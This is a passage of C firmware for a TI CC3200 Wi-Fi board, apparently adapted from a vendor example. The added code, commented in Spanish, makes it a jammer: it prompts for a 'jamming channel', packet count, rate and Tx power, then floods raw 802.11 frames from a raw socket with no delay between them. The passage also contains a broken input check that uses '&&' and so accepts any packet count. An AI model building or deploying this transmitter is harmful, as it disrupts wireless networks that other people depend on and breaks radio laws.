                   STAandP2PModeWlanConnected.ssid_name, 
                   pWlanEvent->EventData.STAandP2PModeWlanConnected.ssid_len); 
            memcpy(g_ucConnectionBSSID, 
                   pWlanEvent->EventData.STAandP2PModeWlanConnected.bssid, 
                   SL_BSSID_LENGTH); 
 
            UART_PRINT("[WLAN EVENT] STA Connected to the AP: %s , " 
                      "BSSID: %x:%x:%x:%x:%x:%x\n\r", 
                      g_ucConnectionSSID,g_ucConnectionBSSID[0], 
                      g_ucConnectionBSSID[1],g_ucConnectionBSSID[2], 
                      g_ucConnectionBSSID[3],g_ucConnectionBSSID[4], 
                      g_ucConnectionBSSID[5]); 
        } 
        break; 
 
        case SL_WLAN_DISCONNECT_EVENT: 
        { 
            slWlanConnectAsyncResponse_t*  pEventData = NULL; 
 
            CLR_STATUS_BIT(g_ulStatus, STATUS_BIT_CONNECTION); 
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            CLR_STATUS_BIT(g_ulStatus, STATUS_BIT_IP_AQUIRED); 
 
            pEventData = &pWlanEvent->EventData.STAandP2PModeDisconnected; 
 
            // If the user has initiated 'Disconnect' request, 
            //'reason_code' is 
SL_WLAN_DISCONNECT_USER_INITIATED_DISCONNECTION 
            if(SL_WLAN_DISCONNECT_USER_INITIATED_DISCONNECTION == pEventData-
>reason_code) 
            { 
                UART_PRINT("[WLAN EVENT]Device disconnected from the AP: %s," 
                           " BSSID: %x:%x:%x:%x:%x:%x on application's" 
                           " request \n\r", 
                           g_ucConnectionSSID,g_ucConnectionBSSID[0], 
                           g_ucConnectionBSSID[1],g_ucConnectionBSSID[2], 
                           g_ucConnectionBSSID[3],g_ucConnectionBSSID[4], 
                           g_ucConnectionBSSID[5]); 
            } 
            else 
            { 
                UART_PRINT("[WLAN ERROR]Device disconnected from the AP 
AP: %s," 
                           " BSSID: %x:%x:%x:%x:%x:%x on an ERROR..!! \n\r", 
                           g_ucConnectionSSID,g_ucConnectionBSSID[0], 
                           g_ucConnectionBSSID[1],g_ucConnectionBSSID[2], 
                           g_ucConnectionBSSID[3],g_ucConnectionBSSID[4], 
                           g_ucConnectionBSSID[5]); 
            } 
            memset(g_ucConnectionSSID,0,sizeof(g_ucConnectionSSID)); 
            memset(g_ucConnectionBSSID,0,sizeof(g_ucConnectionBSSID)); 
        } 
        break; 
 
        default: 
        { 
            UART_PRINT("[WLAN EVENT] Unexpected event [0x%x]\n\r", 
                       pWlanEvent->Event); 
        } 
        break; 
    } 
} 
 
//***************************************************************************
** 
// 
//! \brief This function handles network events such as IP acquisition, IP 
//!           leased, IP released etc. 
//! 
//! \param[in]  pNetAppEvent - Pointer to NetApp Event Info 
//! 
//! \return None 
//! 
//***************************************************************************
** 
void SimpleLinkNetAppEventHandler(SlNetAppEvent_t *pNetAppEvent) 
{ 
    switch(pNetAppEvent->Event) 
    { 
        case SL_NETAPP_IPV4_IPACQUIRED_EVENT: 
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        { 
            SlIpV4AcquiredAsync_t *pEventData = NULL; 
 
            SET_STATUS_BIT(g_ulStatus, STATUS_BIT_IP_AQUIRED); 
 
            //Ip Acquired Event Data 
            pEventData = &pNetAppEvent->EventData.ipAcquiredV4; 
 
            //Gateway IP address 
            g_ulGatewayIP = pEventData->gateway; 
 
            UART_PRINT("[NETAPP EVENT] IP Acquired: IP=%d.%d.%d.%d , " 
                     "Gateway=%d.%d.%d.%d\n\r", 
            SL_IPV4_BYTE(pNetAppEvent->EventData.ipAcquiredV4.ip,3), 
            SL_IPV4_BYTE(pNetAppEvent->EventData.ipAcquiredV4.ip,2), 
            SL_IPV4_BYTE(pNetAppEvent->EventData.ipAcquiredV4.ip,1), 
            SL_IPV4_BYTE(pNetAppEvent->EventData.ipAcquiredV4.ip,0), 
            SL_IPV4_BYTE(pNetAppEvent->EventData.ipAcquiredV4.gateway,3), 
            SL_IPV4_BYTE(pNetAppEvent->EventData.ipAcquiredV4.gateway,2), 
            SL_IPV4_BYTE(pNetAppEvent->EventData.ipAcquiredV4.gateway,1), 
            SL_IPV4_BYTE(pNetAppEvent->EventData.ipAcquiredV4.gateway,0)); 
        } 
        break; 
 
        default: 
        { 
            UART_PRINT("[NETAPP EVENT] Unexpected event [0x%x] \n\r", 
                       pNetAppEvent->Event); 
        } 
        break; 
    } 
} 
 
 
//***************************************************************************
** 
// 
//! \brief This function handles HTTP server events 
//! 
//! \param[in]  pServerEvent - Contains the relevant event information 
//! \param[in]    pServerResponse - Should be filled by the user with the 
//!                                      relevant response information 
//! 
//! \return None 
//! 
//***************************************************************************
* 
void SimpleLinkHttpServerCallback(SlHttpServerEvent_t *pHttpEvent, 
                                  SlHttpServerResponse_t *pHttpResponse) 
{ 
    // Unused in this application 
} 
 
//***************************************************************************
** 
// 
//! \brief This function handles General Events 
//! 
//! \param[in]     pDevEvent - Pointer to General Event Info 
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//! 
//! \return None 
//! 
//***************************************************************************
** 
void SimpleLinkGeneralEventHandler(SlDeviceEvent_t *pDevEvent) 
{ 
    // 
    // Most of the general errors are not FATAL are are to be handled 
    // appropriately by the application 
    // 
    UART_PRINT("[GENERAL EVENT] - ID=[%d] Sender=[%d]\n\n", 
               pDevEvent->EventData.deviceEvent.status, 
               pDevEvent->EventData.deviceEvent.sender); 
} 
 
 
//***************************************************************************
** 
// 
//! This function handles socket events indication 
//! 
//! \param[in]      pSock - Pointer to Socket Event Info 
//! 
//! \return None 
//! 
//***************************************************************************
** 
void SimpleLinkSockEventHandler(SlSockEvent_t *pSock) 
{ 
    // 
    // This application doesn't work w/ socket - Events are not expected 
    // 
        
} 
 
 
//***************************************************************************
** 
// SimpleLink Asynchronous Event Handlers -- End 
//***************************************************************************
** 
 
 
//***************************************************************************
** 
// 
//! \brief This function initializes the application variables 
//! 
//! \param    None 
//! 
//! \return None 
//! 
//***************************************************************************
** 
static void InitializeAppVariables() 
{ 
    g_ulStatus = 0; 
    g_ulGatewayIP = 0; 
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    memset(g_ucConnectionSSID,0,sizeof(g_ucConnectionSSID)); 
    memset(g_ucConnectionBSSID,0,sizeof(g_ucConnectionBSSID)); 
} 
 
//***************************************************************************
** 
//! \brief This function puts the device in its default state. It: 
//!           - Set the mode to STATION 
//!           - Configures connection policy to Auto and AutoSmartConfig 
//!           - Deletes all the stored profiles 
//!           - Enables DHCP 
//!           - Disables Scan policy 
//!           - Sets Tx power to maximum 
//!           - Sets power policy to normal 
//!           - Unregister mDNS services 
//!           - Remove all filters 
//! 
//! \param   none 
//! \return  On success, zero is returned. On error, negative is returned 
//***************************************************************************
** 
static long ConfigureSimpleLinkToDefaultState() 
{ 
    SlVersionFull   ver = {0}; 
    _WlanRxFilterOperationCommandBuff_t  RxFilterIdMask = {0}; 
 
    unsigned char ucVal = 1; 
    unsigned char ucConfigOpt = 0; 
    unsigned char ucConfigLen = 0; 
    unsigned char ucPower = 0; 
 
    long lRetVal = -1; 
    long lMode = -1; 
 
    lMode = sl_Start(0, 0, 0); 
    ASSERT_ON_ERROR(lMode); 
 
    // If the device is not in station-mode, try configuring it in station-
mode  
    if (ROLE_STA != lMode) 
    { 
        if (ROLE_AP == lMode) 
        { 
            // If the device is in AP mode, we need to wait for this event  
            // before doing anything  
            while(!IS_IP_ACQUIRED(g_ulStatus)) 
            { 
#ifndef SL_PLATFORM_MULTI_THREADED 
              _SlNonOsMainLoopTask();  
#endif 
            } 
        } 
 
        // Switch to STA role and restart  
        lRetVal = sl_WlanSetMode(ROLE_STA); 
        ASSERT_ON_ERROR(lRetVal); 
 
        lRetVal = sl_Stop(0xFF); 
        ASSERT_ON_ERROR(lRetVal); 
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        lRetVal = sl_Start(0, 0, 0); 
        ASSERT_ON_ERROR(lRetVal); 
 
        // Check if the device is in station again  
        if (ROLE_STA != lRetVal) 
        { 
            // We don't want to proceed if the device is not coming up in 
STA-mode  
            return DEVICE_NOT_IN_STATION_MODE; 
        } 
    } 
     
    // Get the device's version-information 
    ucConfigOpt = SL_DEVICE_GENERAL_VERSION; 
    ucConfigLen = sizeof(ver); 
    lRetVal = sl_DevGet(SL_DEVICE_GENERAL_CONFIGURATION, &ucConfigOpt,  
                                &ucConfigLen, (unsigned char *)(&ver)); 
    ASSERT_ON_ERROR(lRetVal); 
     
    UART_PRINT("Host Driver Version: %s\n\r",SL_DRIVER_VERSION); 
    UART_PRINT("Build Version %d.%d.%d.%d.31.%d.%d.%d.%d.%d.%d.%d.%d\n\r", 
    ver.NwpVersion[0],ver.NwpVersion[1],ver.NwpVersion[2],ver.NwpVersion[3], 
    ver.ChipFwAndPhyVersion.FwVersion[0],ver.ChipFwAndPhyVersion.FwVersion[1], 
    ver.ChipFwAndPhyVersion.FwVersion[2],ver.ChipFwAndPhyVersion.FwVersion[3], 
    
ver.ChipFwAndPhyVersion.PhyVersion[0],ver.ChipFwAndPhyVersion.PhyVersion[1], 
    
ver.ChipFwAndPhyVersion.PhyVersion[2],ver.ChipFwAndPhyVersion.PhyVersion[3]); 
 
    // Set connection policy to Auto + SmartConfig  
    //      (Device's default connection policy) 
    lRetVal = sl_WlanPolicySet(SL_POLICY_CONNECTION,  
                                SL_CONNECTION_POLICY(1, 0, 0, 0, 1), NULL, 0); 
    ASSERT_ON_ERROR(lRetVal); 
 
    // Remove all profiles 
    lRetVal = sl_WlanProfileDel(0xFF); 
    ASSERT_ON_ERROR(lRetVal); 
 
     
 
    // 
    // Device in station-mode. Disconnect previous connection if any 
    // The function returns 0 if 'Disconnected done', negative number if 
already 
    // disconnected Wait for 'disconnection' event if 0 is returned, Ignore  
    // other return-codes 
    // 
    lRetVal = sl_WlanDisconnect(); 
    if(0 == lRetVal) 
    { 
        // Wait 
        while(IS_CONNECTED(g_ulStatus)) 
        { 
#ifndef SL_PLATFORM_MULTI_THREADED 
              _SlNonOsMainLoopTask();  
#endif 
        } 
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    } 
 
    // Enable DHCP client 
    lRetVal = sl_NetCfgSet(SL_IPV4_STA_P2P_CL_DHCP_ENABLE,1,1,&ucVal); 
    ASSERT_ON_ERROR(lRetVal); 
 
    // Disable scan 
    ucConfigOpt = SL_SCAN_POLICY(0); 
    lRetVal = sl_WlanPolicySet(SL_POLICY_SCAN , ucConfigOpt, NULL, 0); 
    ASSERT_ON_ERROR(lRetVal); 
 
    // Set Tx power level for station mode 
    // Number between 0-15, as dB offset from max power - 0 will set max 
power 
    ucPower = 0; 
    lRetVal = sl_WlanSet(SL_WLAN_CFG_GENERAL_PARAM_ID,  
            WLAN_GENERAL_PARAM_OPT_STA_TX_POWER, 1, (unsigned char 
*)&ucPower); 
    ASSERT_ON_ERROR(lRetVal); 
 
    // Set PM policy to normal 
    lRetVal = sl_WlanPolicySet(SL_POLICY_PM , SL_NORMAL_POLICY, NULL, 0); 
    ASSERT_ON_ERROR(lRetVal); 
 
    // Unregister mDNS services 
    lRetVal = sl_NetAppMDNSUnRegisterService(0, 0); 
    ASSERT_ON_ERROR(lRetVal); 
 
    // Remove  all 64 filters (8*8) 
    memset(RxFilterIdMask.FilterIdMask, 0xFF, 8); 
    lRetVal = sl_WlanRxFilterSet(SL_REMOVE_RX_FILTER, (_u8 *)&RxFilterIdMask, 
                       sizeof(_WlanRxFilterOperationCommandBuff_t)); 
    ASSERT_ON_ERROR(lRetVal); 
 
    lRetVal = sl_Stop(SL_STOP_TIMEOUT); 
    ASSERT_ON_ERROR(lRetVal); 
 
    InitializeAppVariables(); 
     
    return lRetVal; // Success 
} 
 
 
//***************************************************************************
** 
// 
//! Application startup display on UART 
//! 
//! \param  AppName 
//! 
//! \return none 
//! 
//***************************************************************************
** 
static void DisplayBanner(char * AppName) 
{ 
    UART_PRINT("\n\n\n\r"); 
    UART_PRINT("\t\t *************************************************\n\r"); 
    UART_PRINT("\t\t\t CC3200 %s Application       \n\r", AppName); 
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    UART_PRINT("\t\t *************************************************\n\r"); 
    UART_PRINT("\n\n\n\r"); 
} 
 
 
//***************************************************************************
** 
// 
//! Board Initialization & Configuration 
//! 
//! \param  None 
//! 
//! \return None 
// 
//***************************************************************************
** 
static void BoardInit(void) 
{ 
/* In case of TI-RTOS vector table is initialize by OS itself */ 
#ifndef USE_TIRTOS 
  // 
  // Set vector table base 
  // 
#if defined(ccs) 
    MAP_IntVTableBaseSet((unsigned long)&g_pfnVectors[0]); 
#endif 
#if defined(ewarm) 
    MAP_IntVTableBaseSet((unsigned long)&__vector_table); 
#endif 
#endif 
    // 
    // Enable Processor 
    // 
    MAP_IntMasterEnable(); 
    MAP_IntEnable(FAULT_SYSTICK); 
 
    PRCMCC3200MCUInit(); 
} 
 
 
 
//***************************************************************************
** 
// 
//! UserInput 
//! 
//! This function 
//!        1. Function for reading the user input. 
//! 
//! \return none 
// 
//***************************************************************************
** 
static UserIn UserInput() 
{ 
    UserIn User; 
    //el char array que guarda los datos que escribe el usuario por la 
consola, tamany maximo 521 bits (0-511) 
    char acCmdStore[512]; 
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    int iRetVal; 
    //el valor inicial para el bucler 
    int iRightInput = 0; 
  //---YFG+06-10-2016+INI 
   UART_PRINT("Starting Jammer... "); 
   UART_PRINT("\n\r"); 
   //forzamos que solo hay una opción una vez ejecutar el menu principal... 
   User.choice = 1; 
   //---YFG+06-10-2016+FIN 
 
    if (User.choice == 1) 
    { 
        /*channel*/ 
        do 
        { 
            UART_PRINT("Enter the jamming channel [1:13]: "); 
            iRetVal = GetCmd(acCmdStore, sizeof(acCmdStore)); 
            if(iRetVal == 0) 
            { 
                // 
                // No input. Just an enter pressed probably. Display a prompt. 
                // 
                UART_PRINT("\n\rEnter Valid Input."); 
                iRightInput = 0; 
            } 
            else 
            { 
                User.channel = (int)strtoul(acCmdStore,0,10); 
                if(User.channel <= 0 || User.channel > 13) 
                { 
                    UART_PRINT("\n\rWrong Input"); 
                    iRightInput = 0; 
                } 
                else 
                { 
                    iRightInput = 1; 
                } 
            } 
 
            UART_PRINT("\r\n"); 
        }while(!iRightInput); 
 
        /*Number of packets*/ 
        do 
        { 
            UART_PRINT("Enter the number of packets to send : "); 
            iRetVal = GetCmd(acCmdStore, sizeof(acCmdStore)); 
            if(iRetVal == 0) 
            { 
                // 
                // No input. Just an enter pressed probably. Display a prompt. 
                // 
                UART_PRINT("\n\rEnter Valid Input."); 
                iRightInput = 0; 
            } 
            else 
            { 
                User.packets = (int)strtoul(acCmdStore,0,10); 
                //No se puede enviar mas de 65535 paquetes... 
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                if(User.packets <= 0 && User.packets > 65535) 
                { 
                    UART_PRINT("\n\rWrong Input"); 
                    iRightInput = 0; 
                } 
                else 
                { 
                    iRightInput = 1; 
                } 
            } 
            UART_PRINT("\r\n"); 
        }while(!iRightInput); 
 
        /*Rate*/ 
        do 
        { 
            UART_PRINT("Enter the rate: "); 
            iRetVal = GetCmd(acCmdStore, sizeof(acCmdStore)); 
            if(iRetVal == 0) 
            { 
                // 
                // No input. Just an enter pressed probably. Display a prompt. 
                // 
                UART_PRINT("\n\rEnter Valid Input."); 
                iRightInput = 0; 
            } 
            else 
            { 
                User.rate = (SlRateIndex_e)strtoul(acCmdStore,0,10); 
                if(User.rate < RATE_1M || User.rate > RATE_MCS_7) 
                { 
                    UART_PRINT("\n\rWrong Input"); 
                    iRightInput = 0; 
                } 
                else 
                { 
                    iRightInput = 1; 
                } 
            } 
 
            UART_PRINT("\r\n"); 
        }while(!iRightInput); 
        /* Tx Power level */ 
        do 
        { 
            UART_PRINT("Enter the Tx power[0:15]: "); 
            iRetVal = GetCmd(acCmdStore, sizeof(acCmdStore)); 
            if(iRetVal == 0) 
            { 
                // 
                // No input. Just an enter pressed probably. Display a prompt. 
                // 
                UART_PRINT("\n\rEnter Valid Input."); 
                iRightInput = 0; 
            } 
            else 
            { 
                User.Txpower = (int)strtoul(acCmdStore,0,10); 
                if(User.Txpower < 0 || User.Txpower > 15) 
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                { 
                    UART_PRINT("\n\rWrong Input"); 
                    iRightInput = 0; 
                } 
                else 
                { 
                    iRightInput = 1; 
                } 
            } 
 
            UART_PRINT("\r\n"); 
        }while(!iRightInput); 
    } 
 
    return User; 
} 
 
//***************************************************************************
** 
// 
//! Tx_continuous 
//! 
//! This function 
//!        1. Function for sending out pinging data on the 
//!                channel given by the user. 
//! 
//! \return none 
// 
//***************************************************************************
** 
static int Tx_continuous(int iChannel,SlRateIndex_e rate,int iNumberOfPackets, 
                                    int iTxPowerLevel,long dIntervalMiliSec) 
{ 
    int iSoc; 
    long lRetVal = -1; 
    long ulIndex; 
 
    //---YFG+30-08-2016+INI 
    //Crear el socket 
    //SL_AF_RF:sending and receiving any packet overriding 802.11 header 
    //SL_SOCK_RAW:SOCK_RAW (raw protocols atop the network layer) 
    iSoc = sl_Socket(SL_AF_RF,SL_SOCK_RAW,iChannel); 
    ASSERT_ON_ERROR(iSoc); 
 
    UART_PRINT("Transmitting data...\r\n"); 
    //repetir tantas veces como el numero de paquete que pide el usuario. 
    for(ulIndex = 0 ; ulIndex < iNumberOfPackets ; ulIndex++) 
    { 
     //una vez creado el Socket, envia los datos, el paquete esta 
manualmente creado y guardado en el variable RawData_ping... 
     //SL_RAW_RF_TX_PARAMS?? 
     lRetVal = sl_Send(iSoc,RawData,sizeof(RawData),\ 
                        SL_RAW_RF_TX_PARAMS(iChannel,  rate, iTxPowerLevel, 
PREAMBLE)); 
        if(lRetVal < 0) 
        { 
            sl_Close(iSoc); 
            ASSERT_ON_ERROR(lRetVal); 
        } 
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        //Sleep(dIntervalMiliSec); 
 
 
        //32ms de delay 
        //MAP_UtilsDelay(426667); 
 
        //34ms de delay 
        //MAP_UtilsDelay(453333); 
 
        //16ms de delay 
        //MAP_UtilsDelay(213333); 
 
        //2ms de delay 
        //MAP_UtilsDelay(26667); 
 
        //2.85ms de delay 
        //MAP_UtilsDelay(38000); 
 
        //2.1ms de delay 
        //MAP_UtilsDelay(28000); 
 
        //3ms de delay 
        //MAP_UtilsDelay(40000); 
 
        //4ms de delay 
        //MAP_UtilsDelay(53333); 
 
        //4.85ms de delay 
        //MAP_UtilsDelay(64667); 
 
        //4.1ms de delay 
        //MAP_UtilsDelay(54667); 
 
        //8ms de delay 
         //MAP_UtilsDelay(106667); 
 
        //7ms de delay 
         //MAP_UtilsDelay(93333); 
 
        //6ms de delay 
        //MAP_UtilsDelay(80000); 
 
        //9ms de delay 
        //MAP_UtilsDelay(120000); 
 
        //11ms de delay 
        //MAP_UtilsDelay(146667); 
 
        //12ms de delay 
        //MAP_UtilsDelay(160000); 
 
        //7ms de delay 
        //MAP_UtilsDelay(93333); 
 
        //17ms de delay 
        //MAP_UtilsDelay(226667); 
 
        //22ms de delay 
        //MAP_UtilsDelay(293333); 
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        //8.85ms de delay 
        //MAP_UtilsDelay(118000); 
 
        //8.1ms de delay 
        //MAP_UtilsDelay(108000); 
 
        //16.85ms de delay 
        //MAP_UtilsDelay(224667); 
 
        //16.1ms de delay 
         //MAP_UtilsDelay(214667); 
 
        //ms de delay 
         //MAP_UtilsDelay(220000); 
 
        //24ms de delay 
        //MAP_UtilsDelay(320000); 
 
 
        //29ms de delay 
        //MAP_UtilsDelay(386667); 
 
        //19ms de delay 
         //MAP_UtilsDelay(253333); 
 
        //60ms de delay 
         //MAP_UtilsDelay(800000); 
 
        //45ms de delay 
         //MAP_UtilsDelay(600000); 
 
         //40ms de delay 
         //MAP_UtilsDelay(533333); 
 
        //50ms de delay 
        //MAP_UtilsDelay(666667); 
 
        //55ms de delay 
        //MAP_UtilsDelay(733333); 
 
        //35ms de delay 
        //MAP_UtilsDelay(466667); 
 
        //32.85ms de delay 
        //MAP_UtilsDelay(438000); 
 
        //30ms de delay 
        //MAP_UtilsDelay(400000); 
 
        //20ms de delay 
        //MAP_UtilsDelay(266667); 
 
        //25ms de delay 
        //MAP_UtilsDelay(333333); 
 
 
        //15ms de delay 
         //MAP_UtilsDelay(200000); 
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        //100ms de delay 
        //MAP_UtilsDelay(1333333); 
 
    } 
 
    lRetVal = sl_Close(iSoc); 
    ASSERT_ON_ERROR(lRetVal); 
 
    UART_PRINT("Transmission complete.\r\n"); 
    return SUCCESS; 
} 
 
//***************************************************************************
** 
// 
//! main 
//! 
//! This function 
//!        1. Main function for the application. 
//!        2. Make sure there is no profile before activating this test. 
//!     3. This test is not optimized for current consumption at this stage. 
//! 
//! \return none 
// 
//***************************************************************************
** 
 
int main() 
{ 
    UserIn User; 
    int iFlag = 1; 
    long lRetVal = -1; 
    char cChar; 
    unsigned char policyVal; 
     
    // 
    // Initialize Board configuration 
    // 
    BoardInit(); 
     
    // 
    // 
    //Pin muxing 
    // 
    PinMuxConfig(); 
     
    // Configuring UART 
    // 
    InitTerm(); 
    DisplayBanner(APPLICATION_NAME); 
 
    InitializeAppVariables(); 
 
    // 
    // Following function configure the device to default state by cleaning 
    // the persistent settings stored in NVMEM (viz. connection profiles & 
    // policies, power policy etc) 
    // 
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    // Applications may choose to skip this step if the developer is sure 
    // that the device is in its default state at start of applicaton 
    // 
    // Note that all profiles and persistent settings that were done on the 
    // device will be lost 
    // 
    lRetVal = ConfigureSimpleLinkToDefaultState(); 
    if(lRetVal < 0) 
    { 
        if (DEVICE_NOT_IN_STATION_MODE == lRetVal) 
          UART_PRINT("Failed to configure the device in its default state 
\n\r"); 
          LOOP_FOREVER(); 
    } 
 
    UART_PRINT("Device is configured in default state \n\r"); 
 
    CLR_STATUS_BIT_ALL(g_ulStatus); 
 
    // 
    // Assumption is that the device is configured in station mode already 
    // and it is in its default state 
    // 
    lRetVal = sl_Start(0, 0, 0); 
    if (lRetVal < 0 || ROLE_STA != lRetVal) 
    { 
        UART_PRINT("Failed to start the device \n\r"); 
        LOOP_FOREVER(); 
    } 
 
    UART_PRINT("Device started as STATION \n\r"); 
 
    // 
    // reset all network policies 
    // 
    lRetVal = sl_WlanPolicySet(  SL_POLICY_CONNECTION, 
                  SL_CONNECTION_POLICY(0,0,0,0,0), 
                  &policyVal, 
                  1 /*PolicyValLen*/); 
    if (lRetVal < 0) 
    { 
        UART_PRINT("Failed to set policy \n\r"); 
        LOOP_FOREVER(); 
    } 
 
    //---YFG+06-08-2016+INI 
    //Despues de haber reseteado la placa, entra el bucle del menu... 
 
    while (iFlag) 
    {  
    //recoge parametros, o datos que escribe el usuario por la consola Tera-
Term 
    User = UserInput(); 
 
 
 
    /*******An example of Tx continuous on user selected channel, rate 11, 
    * user selected number of packets, minimal delay between packets*******/ 
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 // envia raw data constante... 
    lRetVal = Tx_continuous(User.channel,User.rate,User.packets, \ 
                         User.Txpower,0); 
    if(lRetVal < 0) 
    { 
        UART_PRINT("Error during transmission of raw data\n\r"); 
        LOOP_FOREVER(); 
    } 
 
    UART_PRINT("\n\rEnter \"1\" to restart or \"0\" to quit: "); 
    // 
    // Wait to receive a character over UART 
    // 
    cChar = MAP_UARTCharGet(CONSOLE); 
    // 
    // Echo the received character 
    // 
    MAP_UARTCharPut(CONSOLE, cChar); 
    UART_PRINT("\n\r"); 
    iFlag = atoi(&cChar); 
    } 
    UART_PRINT("\r\nEnding the application...."); 
    // 
    // power off network processor 
    // 
    lRetVal = sl_Stop(SL_STOP_TIMEOUT); 
 
    LOOP_FOREVER(); 
 
} 
 
//***************************************************************************
** 
// 
// Close the Doxygen group. 
//! @} 
// 
//***************************************************************************
** 
 
